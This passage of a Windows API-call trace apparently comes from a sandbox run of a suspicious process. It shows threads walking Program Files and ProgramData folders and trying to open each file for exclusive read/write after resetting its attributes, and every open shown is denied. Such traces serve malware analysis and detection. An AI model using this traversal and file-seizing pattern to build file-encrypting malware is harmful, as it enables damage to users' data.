OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.420] GetLastError () returned 0x5 [0151.420] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", dwFileAttributes=0x20) returned 0 [0151.420] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b758) returned 1 [0151.420] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0151.420] wcscmp (_String1="sql2000.xsl", _String2=".") returned 1 [0151.420] wcscmp (_String1="sql2000.xsl", _String2="..") returned 1 [0151.420] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f4210 [0151.420] wcscpy (in: _Dest=0x8f4210, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.420] wcscat (in: _Dest=0x8f4210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.420] wcscat (in: _Dest=0x8f4210, _Source="sql2000.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0151.421] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0151.424] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", dwFileAttributes=0x20) returned 0 [0151.424] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.424] GetLastError () returned 0x5 [0151.424] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", dwFileAttributes=0x20) returned 0 [0151.424] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4210) returned 1 [0151.424] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0151.425] wcscmp (_String1="sql70.xsl", _String2=".") returned 1 [0151.425] wcscmp (_String1="sql70.xsl", _String2="..") returned 1 [0151.425] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b758 [0151.425] wcscpy (in: _Dest=0x97b758, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.425] wcscat (in: _Dest=0x97b758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.425] wcscat (in: _Dest=0x97b758, _Source="sql70.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0151.425] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0151.432] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", dwFileAttributes=0x20) returned 0 [0151.432] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.432] GetLastError () returned 0x5 [0151.432] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", dwFileAttributes=0x20) returned 0 [0151.432] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b758) returned 1 [0151.432] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0151.432] wcscmp (_String1="sql90.xsl", _String2=".") returned 1 [0151.432] wcscmp (_String1="sql90.xsl", _String2="..") returned 1 [0151.432] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa8) returned 0x97b758 [0151.432] wcscpy (in: _Dest=0x97b758, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.432] wcscat (in: _Dest=0x97b758, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.432] wcscat (in: _Dest=0x97b758, _Source="sql90.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" [0151.433] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0151.433] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", dwFileAttributes=0x20) returned 0 [0151.433] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.433] GetLastError () returned 0x5 [0151.433] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl", dwFileAttributes=0x20) returned 0 [0151.433] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b758) returned 1 [0151.433] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 1 [0151.433] wcscmp (_String1="Sybase.xsl", _String2=".") returned 1 [0151.433] wcscmp (_String1="Sybase.xsl", _String2="..") returned 1 [0151.433] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4210 [0151.433] wcscpy (in: _Dest=0x8f4210, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges" [0151.433] wcscat (in: _Dest=0x8f4210, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\" [0151.433] wcscat (in: _Dest=0x8f4210, _Source="Sybase.xsl" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" [0151.434] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0151.449] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", dwFileAttributes=0x20) returned 0 [0151.449] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files (x86)\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0151.449] GetLastError () returned 0x5 [0151.449] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl", dwFileAttributes=0x20) returned 0 [0151.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4210) returned 1 [0151.450] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x966de0 | out: lpFindFileData=0x966de0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x745e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sybase.xsl", cAlternateFileName="")) returned 0 [0151.450] FindClose (in: hFindFile=0x8da4d0 | out: hFindFile=0x8da4d0) returned 1 [0151.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x966de0) returned 1 [0151.450] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad5c8) returned 1 [0151.451] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x904560) returned 1 Thread: id = 2274 os_tid = 0x1014 [0144.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x96) returned 0x9ad668 [0144.698] wcscpy (in: _Dest=0x9ad668, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0144.698] wcscat (in: _Dest=0x9ad668, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0144.698] wcscat (in: _Dest=0x9ad668, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*" [0144.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9bddf8 [0144.699] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\*", lpFindFileData=0x9bddf8 | out: lpFindFileData=0x9bddf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941df0 [0145.127] wcscmp (_String1=".", _String2=".") returned 0 [0145.127] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9bddf8 | out: lpFindFileData=0x9bddf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.127] wcscmp (_String1="..", _String2=".") returned 1 [0145.127] wcscmp (_String1="..", _String2="..") returned 0 [0145.127] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9bddf8 | out: lpFindFileData=0x9bddf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0145.127] wcscmp (_String1="1033", _String2=".") returned 1 [0145.127] wcscmp (_String1="1033", _String2="..") returned 1 [0145.127] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x9c) returned 0x935e98 [0145.127] wcscpy (in: _Dest=0x935e98, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources" [0145.127] wcscat (in: _Dest=0x935e98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\" [0145.127] wcscat (in: _Dest=0x935e98, _Source="1033" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033" [0145.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935e98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe78 [0145.965] FindNextFileW (in: hFindFile=0x941df0, lpFindFileData=0x9bddf8 | out: lpFindFileData=0x9bddf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0145.965] FindClose (in: hFindFile=0x941df0 | out: hFindFile=0x941df0) returned 1 [0145.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9bddf8) returned 1 [0145.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 [0145.965] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad348) returned 1 Thread: id = 2275 os_tid = 0x1018 [0144.699] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd")) returned 0x20 [0145.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD", dwFileAttributes=0x20) returned 0 [0145.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.142] GetLastError () returned 0x5 [0145.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD", dwFileAttributes=0x20) returned 0 [0145.142] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8560) returned 1 Thread: id = 2276 os_tid = 0x101c [0144.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl")) returned 0x20 [0145.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL", dwFileAttributes=0x20) returned 0 [0145.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.823] GetLastError () returned 0x5 [0145.823] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL", dwFileAttributes=0x20) returned 0 [0145.823] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7bd0) returned 1 Thread: id = 2277 os_tid = 0x1020 [0144.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl")) returned 0x20 [0145.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL", dwFileAttributes=0x20) returned 0 [0145.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0145.140] GetLastError () returned 0x5 [0145.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL", dwFileAttributes=0x20) returned 0 [0145.141] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e508) returned 1 Thread: id = 2278 os_tid = 0x1024 [0144.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn")) returned 0x20 [0146.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN", dwFileAttributes=0x20) returned 0 [0146.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.099] GetLastError () returned 0x5 [0146.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN", dwFileAttributes=0x20) returned 0 [0146.099] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad3e8) returned 1 Thread: id = 2279 os_tid = 0x1028 [0144.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn")) returned 0x20 [0146.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN", dwFileAttributes=0x20) returned 0 [0146.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.098] GetLastError () returned 0x5 [0146.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN", dwFileAttributes=0x20) returned 0 [0146.098] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x933e98) returned 1 Thread: id = 2280 os_tid = 0x102c [0144.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll")) returned 0x20 [0146.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL", dwFileAttributes=0x20) returned 0 [0146.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\envelopr.dll.idx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.106] GetLastError () returned 0x5 [0146.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ENVELOPR.DLL.IDX_DLL", dwFileAttributes=0x20) returned 0 [0146.106] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab558) returned 1 Thread: id = 2281 os_tid = 0x1030 [0144.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd")) returned 0x20 [0146.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD", dwFileAttributes=0x20) returned 0 [0146.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eqplist.vrd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.109] GetLastError () returned 0x5 [0146.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EQPLIST.VRD", dwFileAttributes=0x20) returned 0 [0146.109] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99e588) returned 1 Thread: id = 2282 os_tid = 0x1034 [0144.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs")) returned 0x20 [0146.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS", dwFileAttributes=0x20) returned 0 [0146.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.dev.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0146.105] GetLastError () returned 0x5 [0146.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.DEV.HXS", dwFileAttributes=0x20) returned 0 [0146.105] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8890) returned 1 Thread: id = 2300 os_tid = 0x107c [0145.144] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x84) returned 0x8e7e68 [0145.144] wcscpy (in: _Dest=0x8e7e68, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0145.144] wcscat (in: _Dest=0x8e7e68, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\" [0145.144] wcscat (in: _Dest=0x8e7e68, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\*") 